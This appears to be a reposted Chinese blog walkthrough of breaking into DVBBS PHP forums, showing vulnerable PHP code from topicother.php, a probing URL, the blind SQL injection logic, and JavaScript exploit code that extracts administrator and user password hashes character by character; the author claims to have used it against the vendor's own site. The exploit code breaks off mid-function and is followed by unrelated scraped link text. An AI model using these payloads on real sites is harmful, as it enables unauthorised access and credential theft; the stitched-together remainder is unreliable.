一、 SQL注入漏洞:

晚上检查了好久,终于在topicother.php中发现了一处sql注入漏洞,但是并不像前段时间暴的漏洞那么简单,因为不能把密码直接读出数据库并显示出来,这是个活动帖子的报名主函数,我简单搜索了下,1.0好像后来就增加了这个功能,

function PostActive_Main(){

……

$TopicID = $GLOBALS['id'];

$activeid = trim($_GET['activeid']);//activeid并没有过滤

$timemode = $_POST['payment'];

$systemmode = trim($_POST['contact']);

$message = trim($_POST['message']);

$gettimemode = trim($_POST['timemode']);

$getstarttime = trim($_POST['starttime']);

$getendtime = trim($_POST['endtime']);

$getexpiretime = trim($_POST['expiretime']);

if($timemode ==0)

$costnum = 0;

else

$costnum = intval(trim($_POST['payvalue']));

//直接带进来使用了

if( $query = $db->query("SELECT u1.sex,u1.strength,u2.usersex FROM {$dv}active as u1,{$dv}user as u2 WHERE activeid={$activeid}")){

$activeinfo =& $db->fetch_array($query);

if( !empty($activeinfo) ) {

$db->free_result($query);

}

}

if( $num = $db->query("SELECT count(*) as num from {$dv}activeuser where activeid='".$activeid."'")){

$activenum = $db->fetch_array($num);

if( !empty($activenum) ) {

$db->free_result($num);

}

}

//如果查取的activeid不正确或者后面注入的条件不成立,则显示显示str1:对不起!本活动报名人数已满!

if($activenum['num']>=$activeinfo['strength']){

head(0,0,0,$arrNavMenu);

showmsg($lang['Active_Error.str1']);

exit;

}

//如果activeid正确(后面注入的条件也成立),但没有登陆,就显示str2:请登陆后操作!

if (6368==0) {

head(0,0,0,$arrNavMenu);

showmsg($lang['Active_Error.str2']);

exit;

}

//如果activeid正确并且已经登陆了,递交的时候没有递交联系方式,则会显示str6这个错误:对不起联系方式不能为空或小于8个字符!

if (''==$systemmode||strlen($systemmode)<8) {

head(0,0,0,$arrNavMenu);

showmsg($lang['Active_Error.str6']);

exit;

}

}

首先先确定有没有activeid为1的活动帖子,就是在论坛目录后加上

topicother.php?t=9&action=join&activeid=1

显示“对不起!本活动报名人数已满!”则有可能不存在,自己注册个号进去发个活动帖子先,渗透DVBBS php网站的全程记录》(https://www.unjs.com)。

根 据上面解释,大家是否已经看出来该怎么注入啦,并不是什么都需要工具的,想当年ACCESS手工注入又不是没注入过,判断条件正确就返回正常,错误就不正 常显示;这里不也是同样的道理么,不管有没登陆,出错都显示:“对不起!本活动报名人数已满!”,如果判断条件正确,没有登陆的话显示:“请登陆后操 作!”,已经登陆了显示:“对不起联系方式不能为空或小于8个字符!”于是当晚我手动测试了一下官方,并成功获得了一个管理员的16位MD5的密码。兴奋 的去睡觉,躺在床上却怎么也睡不着:怎么去更简单的利用呢?一边思考,一边入睡,睡着的时候天都亮了。

5个小时后,睡醒了继续搞,因为没有 开发那种application程序的经验,所以我没想去写个exp工具,但一直手工多麻烦啊,记得以前开发网站的时候用ajax去get或者post数 据并回显的,这里是不是也一样可以?于是自己尝试写,轻轻松松写出个单一判断md5某一位的ajax代码,可是在写循环的时候却出错了,后来flyh4t 上线丢给我一段代码,我参考了一下然后一个可以读任意DVBBS php站点管理员密码的基于页面的Exploit code搞定了(列出主要代码):

function sendCall(i,j,url,w,p) {

if (p=="temp"){p=url}

//后台密码、用户名、关联的前台用户名

switch(parseInt(w)){

case 0:url = p+"/**/and/**/ascii(mid(password,"+i+",1))="+j+")/**/";break;

case 1:url = p+"/**/and/**/ascii(mid(username,"+i+",1))="+j+")/**/";break;

case 2:url = p+"/**/and/**/ascii(mid(adduser,"+i+",1))="+j+")/**/";break;

//前台密码、用户名

case 3:url = p+"/**/and/**/ascii(mid(userpassword,"+i+",1))="+j+")/**/";break;

case 4:url = p+"/**/and/**/ascii(mid(username,"+i+",1))="+j+")/**/";break;

}

if (window.ActiveXObject) {

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

} else if (window.XMLHttpRequest) {

xmlHttp = new XMLHttpRequest();

//解决FF中跨域问题

try{

netscape.security.PrivilegeManager.enablePrivilege( "UniversalBrowserRead ");

} catch (e) {

alert( "Permission UniversalBrowserRead denied. ");

}

}

xmlHttp.onreadystatechange = function() {

if(xmlHttp.readyState == 4 && xmlHttp.status ==200) {

var str = xmlHttp.responseText;

var md5hash=document.getElementById("md5hash");

if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {

pass += String.fromCharCode(j);

md5hash.innerHTML = pass;

j = 48;

i++;

}

else {

if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) { j = 96; }

else { j++; }

渗透php网站步骤,渗透DVBBS php网站的全程记录 -电脑资料相关推荐

  1. php做网站步骤_php建一个网站步骤

    php建一个网站步骤 php框架搭建网站教程 首先到官网上下载thinkphp3.2.3版本的框架,也可以git最新3.2.3的功能 在index.php入口文件中设置绑定的模块define('BIN ...

  2. 如何正确的进行网站入侵渗透测试

    大家都知道渗透测试就是为了证明网络防御按照预期计划正常运行而提供的一种机制,而且够独立地检查你的网络策略,一起来看看网站入侵渗透测试的正确知识吧. 简单枚举一些渗透网站一些基本常见步骤: 一 .信息收 ...

  3. 干货|针对单个网站的渗透思路(精)

    本文很适合初学者及挖不到漏洞的小伙伴,提供一个很好的思路. 首先,当我们拿到一个网站的域名或者IP的时候. 最先要做的是信息收集. 下面着重介绍一下信息收集模块 一.信息收集--端口扫描与分析 1.得 ...

  4. 【web渗透思路】敏感信息泄露(网站+用户+服务器)

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  5. 渗透测试之后台查找,如何查找网站后台

    渗透测试之后台查找,如何查找网站后台 1.当前页面信息浏览 查看图片的相关属性 查看网站底部管理入口和版权信息 robots文件 故意请求不存在的页面 2.当前页面后台猜解 CMS指纹识别 猜解常见后 ...

  6. 记一次对在线挂机网站的渗透

    首页 | 博客群 | 公社 | 专栏 | 论坛 | 图片 | 资讯 | 注册 | 帮助 | 博客联播 | 随机访问 黑客技术文章 进一步取得MirCms传奇私服的WebShell- -| 回首页 | ...

  7. APP安卓渗透测试四大步骤

    在开始APP安卓端渗透测试时,根据需要制定步骤,并向委托方详细说明需要使用的工具.方法等.具体操作时,会把渗透测试分成三个部分和阶段,不同的角度使区别的方法有所不同,例如在理论上把渗透测试分为准备阶段 ...

  8. html网页注册信息不完全时有警示_??使用Github做一个完全免费的个人网站(步骤很细)...

    首先,我霸都傲天申明绝对是完全免费,不会在文章中推销什么云服务器,虚拟主机等.而且操作步骤上手简单,即使非IT人员也很容易实现. 局限:只能是静态网站的个人网站 面向读者:所有人包括非IT人员 首先如 ...

  9. 企业网站怎么制作?企业网站制作,只需记住这8个步骤

    网站建设不是一蹴而就的, 网站建设是一个系统的工程,就像盖一幢大楼一样,有着自己特定的工作流程,只有遵循这个步骤,一步步来,才能设计出一个满意的网站. 建站步骤: 1.根据企业的产品与服务确定好网站主 ...

最新文章

  1. Java工程师之SpringBoot系列教程前言目录
  2. 【转】Android 之最新最全的Intent传递数据方法
  3. mysql innodb启动失败_mysql启动失败
  4. 腾讯四季度数实经济收入首超游戏达479.58亿元
  5. html5新增表单控件和表单属性
  6. PHP连接MongoDB
  7. java重载与重写的区别
  8. 工程技术学院c语言题库,2016年天津农学院工程技术学院C语言程序设计(同等学力加试)复试笔试最后押题五套卷...
  9. Windows事件查看器介绍
  10. TYPHOON cms漏洞 简书(ssh篇)
  11. Faster R-CNN详解
  12. ARM Cortex-A系列(A53、A57、A73等)处理器性能分类与对比
  13. 安装新操作系统需要注意的问题
  14. Open AI 自监督学习笔记:Self-Supervised Learning | Tutorial | NeurIPS 2021
  15. 如何找到算法的时间复杂度
  16. 你所不了解的DevOps
  17. python 动图处理_python图像处理-gif动图
  18. 调用第三方接口的方式(简洁版)
  19. OpenStack Swift学习笔记
  20. IDEA Diagrams使用实现类图(类关系图、子类、父类)

热门文章

  1. 实测大疆智图与ContextCapture Center 集群效率和模型效果对比
  2. runwith注解为什么用不了_企鹅电竞首充6元礼包|企鹅体育为什么发言不了?企鹅体育为啥用WiFi不能看?...
  3. Unsafe 类的学习
  4. canvas--微信红包效果
  5. MATLAB第四章答案胡良剑,MATLAB第四章练习
  6. 被花粉质疑Mate40系列品控 华为这张情怀牌还耐打吗?
  7. 生物信息学——基础篇:一至三代测序技术
  8. 虹科方案|用Western Digital和ATTO技术优化SMR存储解决方案的负载
  9. 清理C盘 移动idea缓存文件
  10. 专业的进销存财务软件卓越精算